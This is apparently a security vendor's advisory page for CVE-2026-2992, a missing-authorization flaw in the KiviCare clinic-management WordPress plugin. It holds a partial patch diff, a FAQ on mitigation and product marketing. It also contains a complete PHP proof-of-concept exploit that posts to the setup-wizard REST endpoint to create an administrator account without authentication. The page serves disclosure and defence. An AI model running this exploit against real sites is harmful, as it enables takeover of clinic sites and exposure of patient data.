- <div class="kc-book-appointment-container kivi-widget" <?php echo $data_attrs_string; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
- <div class="kc-loading">
- <div class="double-lines-spinner"></div>
- <p><?php esc_html_e('Loading...', 'kivicare-clinic-management-system'); ?></p>
- </div>
+ <!-- Hidden container: JS will move its inner content into the overlay -->
+ <div id="<?php echo esc_attr($modal_id); ?>-content" style="display:none;">
+ <div class="kc-appointment-widget-container">
+ <div class="kc-book-appointment-container kivi-widget" <?php echo $data_attrs_string; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+ <div class="kc-loading">
+ <div class="double-lines-spinner"></div>
+ <p><?php esc_html_e('Loading...', 'kivicare-clinic-management-system'); ?></p>
</div>
</div>
</div>
</div>
+
<script>
(function() {
- setTimeout(function() {
- if (window.initBookAppointment) {
- window.initBookAppointment();
+ var modalId = '<?php echo esc_js($modal_id); ?>';
+ var overlay = null;
+
+ function createOverlay() {
+ // Create overlay div with inline styles — immune to parent CSS
+ overlay = document.createElement('div');
+ overlay.id = modalId + '-overlay';
+ // Use cssText with !important to override any theme CSS
+ overlay.style.cssText =
+ 'position:fixed !important;' +
+ 'top:0 !important;' +
+ 'left:0 !important;' +
+ 'width:100% !important;' +
+ 'height:100% !important;' +
+ 'z-index:2147483647 !important;' +
+ 'background-color:rgba(0,0,0,0.6) !important;' +
+ 'display:flex !important;' +
+ 'align-items:center !important;' +
+ 'justify-content:center !important;' +
+ 'padding:2rem !important;' +
+ 'margin:0 !important;' +
+ 'box-sizing:border-box !important;' +
+ 'overflow-y:auto !important;' +
+ 'transform:none !important;' +
+ 'filter:none !important;' +
+ 'opacity:1 !important;' +
+ 'visibility:visible !important;'
+ ;
+
+ // Create dialog box
+ var dialog = document.createElement('div');
+ dialog.className = 'kc-modal-dialog';
+
+ // Create close button
+ var closeBtn = document.createElement('button');
+ closeBtn.className = 'kc-modal-close';
+ closeBtn.type = 'button';
+ closeBtn.innerHTML = '×';
+ closeBtn.addEventListener('click', closeModal);
+
+ // Move widget content into dialog
+ var contentHolder = document.getElementById(modalId + '-content');
+ if (contentHolder) {
+ // Move all children
+ while (contentHolder.firstChild) {
+ dialog.appendChild(contentHolder.firstChild);
+ }
}
+
+ dialog.insertBefore(closeBtn, dialog.firstChild);
+ overlay.appendChild(dialog);
+
+ // Click on backdrop to close
+ overlay.addEventListener('click', function(e) {
+ if (e.target === overlay) closeModal();
+ });
+
+ // Append directly to body
+ document.body.appendChild(overlay);
+ }
+
+ function openModal() {
+ if (!overlay) createOverlay();
+ overlay.style.setProperty('display', 'flex', 'important');
+ document.body.classList.add('kc-modal-open');
+
+ // Init React widget if not already done
+ setTimeout(function() {
+ if (window.initBookAppointment) window.initBookAppointment();
+ }, 50);
+ }
+
+ function closeModal() {
+ if (overlay) overlay.style.setProperty('display', 'none', 'important');
+ document.body.classList.remove('kc-modal-open');
+ }
+
+ // Open button
+ var openBtn = document.getElementById('kc-open-' + modalId);
+ if (openBtn) openBtn.addEventListener('click', openModal);
+
+ // Escape key
+ document.addEventListener('keydown', function(e) {
+ if (e.key === 'Escape' && overlay && getComputedStyle(overlay).display !== 'none') closeModal();
+ });
+
+ // Init React widget on page load too (for non-button shortcode)
+ setTimeout(function() {
+ if (window.initBookAppointment) window.initBookAppointment();
}, 100);
})();
</script>
--- a/kivicare-clinic-management-system/kivicare-clinic-management-system.php
+++ b/kivicare-clinic-management-system/kivicare-clinic-management-system.php
@@ -3,7 +3,7 @@
* Plugin Name: KiviCare - Clinic & Patient Management System (EHR)
* Plugin URI: https://kivicare.io
* Description: KiviCare is an impressive clinic and patient management plugin (EHR). It comes with powerful shortcodes for appointment booking and patient registration.
- * Version: 4.1.2
+ * Version: 4.1.3
* Author: iqonic design
* Text Domain: kivicare-clinic-management-system
* Domain Path: /languages
@@ -46,7 +46,7 @@
}
if (!defined('KIVI_CARE_VERSION')) {
- define('KIVI_CARE_VERSION', "4.1.2");
+ define('KIVI_CARE_VERSION', "4.1.3");
}
if (!defined('KIVI_CARE_API_VERSION')) {
--- a/kivicare-clinic-management-system/templates/KCInvoicePrintTemplate.php
+++ b/kivicare-clinic-management-system/templates/KCInvoicePrintTemplate.php
@@ -275,8 +275,10 @@
<?php
$tax_total = 0;
- foreach ($tax_items['tax_data'] as $tax) {
- $tax_total += (float)($tax['tax_amount'] ?? 0);
+ if(isKiviCareProActive()){
+ foreach ($tax_items['tax_data'] as $tax) {
+ $tax_total += (float)($tax['tax_amount'] ?? 0);
+ }
}
$grand_total = ($sub_total ?? 0) + $tax_total;
?>
--- a/kivicare-clinic-management-system/vendor/composer/autoload_classmap.php
+++ b/kivicare-clinic-management-system/vendor/composer/autoload_classmap.php
@@ -6,612 +6,9 @@
$baseDir = dirname($vendorDir);
return array(
- 'App\abstracts\KCAbstractPaymentGateway' => $baseDir . '/app/abstracts/KCAbstractPaymentGateway.php',
- 'App\abstracts\KCAbstractTelemedProvider' => $baseDir . '/app/abstracts/KCAbstractTelemedProvider.php',
- 'App\abstracts\KCElementorWidgetAbstract' => $baseDir . '/app/abstracts/KCElementorWidgetAbstract.php',
- 'App\abstracts\KCShortcodeAbstract' => $baseDir . '/app/abstracts/KCShortcodeAbstract.php',
- 'App\admin\AdminMenu' => $baseDir . '/app/admin/AdminMenu.php',
- 'App\admin\KCDashboardPermalinkHandler' => $baseDir . '/app/admin/KCDashboardPermalinkHandler.php',
- 'App\baseClasses\KCActivate' => $baseDir . '/app/baseClasses/KCActivate.php',
- 'App\baseClasses\KCApp' => $baseDir . '/app/baseClasses/KCApp.php',
- 'App\baseClasses\KCBase' => $baseDir . '/app/baseClasses/KCBase.php',
- 'App\baseClasses\KCBaseController' => $baseDir . '/app/baseClasses/KCBaseController.php',
- 'App\baseClasses\KCBaseModel' => $baseDir . '/app/baseClasses/KCBaseModel.php',
- 'App\baseClasses\KCErrorLogger' => $baseDir . '/app/baseClasses/KCErrorLogger.php',
- 'App\baseClasses\KCJoinConditionBuilder' => $baseDir . '/app/baseClasses/KCJoinConditionBuilder.php',
- 'App\baseClasses\KCMigration' => $baseDir . '/app/baseClasses/KCMigration.php',
- 'App\baseClasses\KCModuleRegistry' => $baseDir . '/app/baseClasses/KCModuleRegistry.php',
- 'App\baseClasses\KCNotificationDynamicKeys' => $baseDir . '/app/baseClasses/KCNotificationDynamicKeys.php',
- 'App\baseClasses\KCPaymentGatewayFactory' => $baseDir . '/app/baseClasses/KCPaymentGatewayFactory.php',
- 'App\baseClasses\KCPermissions' => $baseDir . '/app/baseClasses/KCPermissions.php',
- 'App\baseClasses\KCPostCreator' => $baseDir . '/app/baseClasses/KCPostCreator.php',
- 'App\baseClasses\KCQueryBuilder' => $baseDir . '/app/baseClasses/KCQueryBuilder.php',
- 'App\baseClasses\KCSidebarManager' => $baseDir . '/app/baseClasses/KCSidebarManager.php',
- 'App\baseClasses\KCTelemedFactory' => $baseDir . '/app/baseClasses/KCTelemedFactory.php',
- 'App\blocks\KCBlocksRegister' => $baseDir . '/app/blocks/KCBlocksRegister.php',
- 'App\controllers\KCRestAPI' => $baseDir . '/app/controllers/KCRestAPI.php',
- 'App\controllers\api\AppointmentsController' => $baseDir . '/app/controllers/api/AppointmentsController.php',
- 'App\controllers\api\AuthController' => $baseDir . '/app/controllers/api/AuthController.php',
- 'App\controllers\api\BillController' => $baseDir . '/app/controllers/api/BillController.php',
- 'App\controllers\api\BugReportController' => $baseDir . '/app/controllers/api/BugReportController.php',
- 'App\controllers\api\ClinicController' => $baseDir . '/app/controllers/api/ClinicController.php',
- 'App\controllers\api\ClinicScheduleController' => $baseDir . '/app/controllers/api/ClinicScheduleController.php',
- 'App\controllers\api\ConfigController' => $baseDir . '/app/controllers/api/ConfigController.php',
- 'App\controllers\api\DashboardController' => $baseDir . '/app/controllers/api/DashboardController.php',
- 'App\controllers\api\DoctorController' => $baseDir . '/app/controllers/api/DoctorController.php',
- 'App\controllers\api\DoctorServiceController' => $baseDir . '/app/controllers/api/DoctorServiceController.php',
- 'App\controllers\api\DoctorSessionController' => $baseDir . '/app/controllers/api/DoctorSessionController.php',
- 'App\controllers\api\EncounterController' => $baseDir . '/app/controllers/api/EncounterController.php',
- 'App\controllers\api\KCPrintInvoiceController' => $baseDir . '/app/controllers/api/KCPrintInvoiceController.php',
- 'App\controllers\api\MedicalHistoryController' => $baseDir . '/app/controllers/api/MedicalHistoryController.php',
- 'App\controllers\api\PatientController' => $baseDir . '/app/controllers/api/PatientController.php',
- 'App\controllers\api\PrescriptionController' => $baseDir . '/app/controllers/api/PrescriptionController.php',
- 'App\controllers\api\ReceptionistsController' => $baseDir . '/app/controllers/api/ReceptionistsController.php',
- 'App\controllers\api\SettingsController' => $baseDir . '/app/controllers/api/SettingsController.php',
- 'App\controllers\api\SettingsController\AppointmentSetting' => $baseDir . '/app/controllers/api/SettingsController/AppointmentSetting.php',
- 'App\controllers\api\SettingsController\CommonSettings' => $baseDir . '/app/controllers/api/SettingsController/CommonSettings.php',
- 'App\controllers\api\SettingsController\Configurations' => $baseDir . '/app/controllers/api/SettingsController/Configurations.php',
- 'App\controllers\api\SettingsController\CustomFields' => $baseDir . '/app/controllers/api/SettingsController/CustomFields.php',
- 'App\controllers\api\SettingsController\CustomNotification' => $baseDir . '/app/controllers/api/SettingsController/CustomNotification.php',
- 'App\controllers\api\SettingsController\EmailTemplate' => $baseDir . '/app/controllers/api/SettingsController/EmailTemplate.php',
- 'App\controllers\api\SettingsController\General' => $baseDir . '/app/controllers/api/SettingsController/General.php',
- 'App\controllers\api\SettingsController\GoogleEventTemplate' => $baseDir . '/app/controllers/api/SettingsController/GoogleEventTemplate.php',
- 'App\controllers\api\SettingsController\HolidayList' => $baseDir . '/app/controllers/api/SettingsController/HolidayList.php',
- 'App\controllers\api\SettingsController\ListingData' => $baseDir . '/app/controllers/api/SettingsController/ListingData.php',
- 'App\controllers\api\SettingsController\PatientSetting' => $baseDir . '/app/controllers/api/SettingsController/PatientSetting.php',
- 'App\controllers\api\SettingsController\Payment' => $baseDir . '/app/controllers/api/SettingsController/Payment.php',
- 'App\controllers\api\SettingsController\WidgetSetting' => $baseDir . '/app/controllers/api/SettingsController/WidgetSetting.php',
- 'App\controllers\api\SetupWizardController' => $baseDir . '/app/controllers/api/SetupWizardController.php',
- 'App\controllers\api\StaticDataController' => $baseDir . '/app/controllers/api/StaticDataController.php',
- 'App\controllers\api\SystemNoticesController' => $baseDir . '/app/controllers/api/SystemNoticesController.php',
- 'App\controllers\api\frontend\KCBookAppoinmentShortcode' => $baseDir . '/app/controllers/api/frontend/KCBookAppoinmentShortcode.php',
- 'App\controllers\filters\KCDoctorControllerFilters' => $baseDir . '/app/controllers/filters/KCDoctorControllerFilters.php',
- 'App\controllers\filters\KCPatientControllerFilters' => $baseDir . '/app/controllers/filters/KCPatientControllerFilters.php',
- 'App\database\CLI\KCMigrate' => $baseDir . '/app/database/CLI/KCMigrate.php',
- 'App\database\CLI\KCScaffold' => $baseDir . '/app/database/CLI/KCScaffold.php',
- 'App\database\classes\KCAbstractMigration' => $baseDir . '/app/database/classes/KCAbstractMigration.php',
- 'App\database\classes\KCMigrator' => $baseDir . '/app/database/classes/KCMigrator.php',
- 'App\elementor\widgets\ClinicListWidget' => $baseDir . '/app/elementor/widgets/ClinicListWidget.php',
- 'App\elementor\widgets\DoctorListWidget' => $baseDir . '/app/elementor/widgets/DoctorListWidget.php',
- 'App\emails\KCEmailNotificationInit' => $baseDir . '/app/emails/KCEmailNotificationInit.php',
- 'App\emails\KCEmailSender' => $baseDir . '/app/emails/KCEmailSender.php',
- 'App\emails\KCEmailTemplateManager' => $baseDir . '/app/emails/KCEmailTemplateManager.php',
- 'App\emails\KCEmailTemplateProcessor' => $baseDir . '/app/emails/KCEmailTemplateProcessor.php',
- 'App\emails\listeners\KCAppointmentNotificationListener' => $baseDir . '/app/emails/listeners/KCAppointmentNotificationListener.php',
- 'App\emails\listeners\KCDoctorNotificationListener' => $baseDir . '/app/emails/listeners/KCDoctorNotificationListener.php',
- 'App\emails\listeners\KCEncounterNotificationListener' => $baseDir . '/app/emails/listeners/KCEncounterNotificationListener.php',
- 'App\emails\listeners\KCInvoiceNotificationListener' => $baseDir . '/app/emails/listeners/KCInvoiceNotificationListener.php',
- 'App\emails\listeners\KCPatientCheckInNotificationListener' => $baseDir . '/app/emails/listeners/KCPatientCheckInNotificationListener.php',
- 'App\emails\listeners\KCPatientNotificationListener' => $baseDir . '/app/emails/listeners/KCPatientNotificationListener.php',
- 'App\emails\listeners\KCPaymentNotificationListener' => $baseDir . '/app/emails/listeners/KCPaymentNotificationListener.php',
- 'App\emails\listeners\KCPrescriptionNotificationListener' => $baseDir . '/app/emails/listeners/KCPrescriptionNotificationListener.php',
- 'App\emails\listeners\KCReceptionistNotificationListener' => $baseDir . '/app/emails/listeners/KCReceptionistNotificationListener.php',
- 'App\emails\listeners\KCUserVerificationNotificationListener' => $baseDir . '/app/emails/listeners/KCUserVerificationNotificationListener.php',
- 'App\helpers\KCExportHelper' => $baseDir . '/app/helpers/KCExportHelper.php',
- 'App\interfaces\KCIController' => $baseDir . '/app/interfaces/KCIController.php',
- 'App\interfaces\KCSidebarInterface' => $baseDir . '/app/interfaces/KCSidebarInterface.php',
- 'App\models\KCAppointment' => $baseDir . '/app/models/KCAppointment.php',
- 'App\models\KCAppointmentReminderMapping' => $baseDir . '/app/models/KCAppointmentReminderMapping.php',
- 'App\models\KCAppointmentServiceMapping' => $baseDir . '/app/models/KCAppointmentServiceMapping.php',
- 'App\models\KCBill' => $baseDir . '/app/models/KCBill.php',
- 'App\models\KCBillItem' => $baseDir . '/app/models/KCBillItem.php',
- 'App\models\KCClinic' => $baseDir . '/app/models/KCClinic.php',
- 'App\models\KCClinicAdmin' => $baseDir . '/app/models/KCClinicAdmin.php',
- 'App\models\KCClinicSchedule' => $baseDir . '/app/models/KCClinicSchedule.php',
-
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2992 - KiviCare <= 4.1.2 - Missing Authorization to Unauthenticated Privilege Escalation via Setup Wizard
<?php
$target_url = "http://vulnerable-site.com"; // Change this to target WordPress site
// Craft the exploit payload for clinic creation and admin user registration
$payload = [
'clinic_name' => 'Hacked Clinic',
'clinic_email' => 'attacker@example.com',
'admin_username' => 'clinic_admin',
'admin_email' => 'admin@example.com',
'admin_password' => 'P@ssw0rd123',
'admin_first_name' => 'Clinic',
'admin_last_name' => 'Admin',
'clinic_address' => '123 Malicious Street',
'clinic_phone' => '555-123-4567',
'timezone' => 'UTC',
'currency' => 'USD'
];
// Target the vulnerable REST API endpoint
$endpoint = $target_url . '/wp-json/kivicare/v1/setup-wizard/clinic';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Accept: application/json'
]);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze the response
if ($http_code === 200) {
$result = json_decode($response, true);
if (isset($result['success']) && $result['success'] === true) {
echo "[SUCCESS] Clinic and admin user created successfully!n";
echo "Admin Username: " . $payload['admin_username'] . "n";
echo "Admin Password: " . $payload['admin_password'] . "n";
echo "Clinic Name: " . $payload['clinic_name'] . "n";
} else {
echo "[FAILED] Exploit unsuccessful. Response: " . $response . "n";
}
} else {
echo "[ERROR] HTTP Status: $http_coden";
echo "Response: $responsen";
}
?>
Frequently Asked Questions
What is CVE-2026-2992?
Overview of the vulnerabilityCVE-2026-2992 is a high-severity vulnerability in the KiviCare Clinic Management System plugin for WordPress. It allows unauthenticated attackers to escalate privileges by creating a new clinic and a WordPress user with administrative rights through a vulnerable REST API endpoint.
How does this vulnerability work?
Mechanism of the exploitThe vulnerability arises from missing authorization checks on the /wp-json/kivicare/v1/setup-wizard/clinic endpoint. This allows any unauthenticated user to send POST requests to create clinics and users without proper permissions, leading to potential full site compromise.
Who is affected by this vulnerability?
Identifying vulnerable installationsAll installations of the KiviCare plugin version 4.1.2 and earlier are affected by this vulnerability. Administrators should check their plugin version against the patched version 4.1.3 to determine if they are at risk.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the KiviCare plugin installed on your WordPress site. If it is version 4.1.2 or earlier, your site is at risk and requires immediate action.
What should I do to fix this vulnerability?
Mitigation stepsTo fix the vulnerability, update the KiviCare plugin to version 4.1.3 or later, where the authorization checks have been implemented. Regularly check for updates to ensure your plugins are secure.
What does the severity rating of 8.2 mean?
Understanding CVSS scoresA CVSS score of 8.2 indicates a high severity level, meaning the vulnerability poses a significant risk to affected systems. It suggests that exploitation could lead to serious consequences, including unauthorized access and control over the site.
How does the proof of concept demonstrate the issue?
Exploit exampleThe proof of concept provided illustrates how an attacker can craft a payload to exploit the vulnerable endpoint. It shows how to send a POST request to create a clinic and an admin user, thereby demonstrating the ease of exploitation.
What are the potential risks if this vulnerability is exploited?
Consequences of exploitationIf exploited, this vulnerability can allow attackers to gain administrative access to the WordPress site. This could lead to data theft, site defacement, or further attacks on users and other connected systems.
Is there a way to mitigate the risk if I cannot update immediately?
Temporary measuresIf immediate updating is not possible, consider restricting access to the vulnerable endpoint using firewall rules or security plugins that can block unauthorized requests. However, this is not a substitute for applying the official patch.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2026-2992 can be found on the National Vulnerability Database and other security advisory sites. Additionally, the KiviCare plugin’s official documentation may provide insights into security practices.
What is the importance of keeping plugins updated?
Best practices for WordPress securityKeeping plugins updated is crucial for maintaining WordPress security. Updates often include patches for known vulnerabilities, and failing to update can leave your site exposed to attacks.
How can I ensure my WordPress site remains secure?
Ongoing security practicesTo ensure ongoing security, regularly update all plugins and themes, use strong passwords, implement security plugins, and conduct periodic security audits of your WordPress site.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






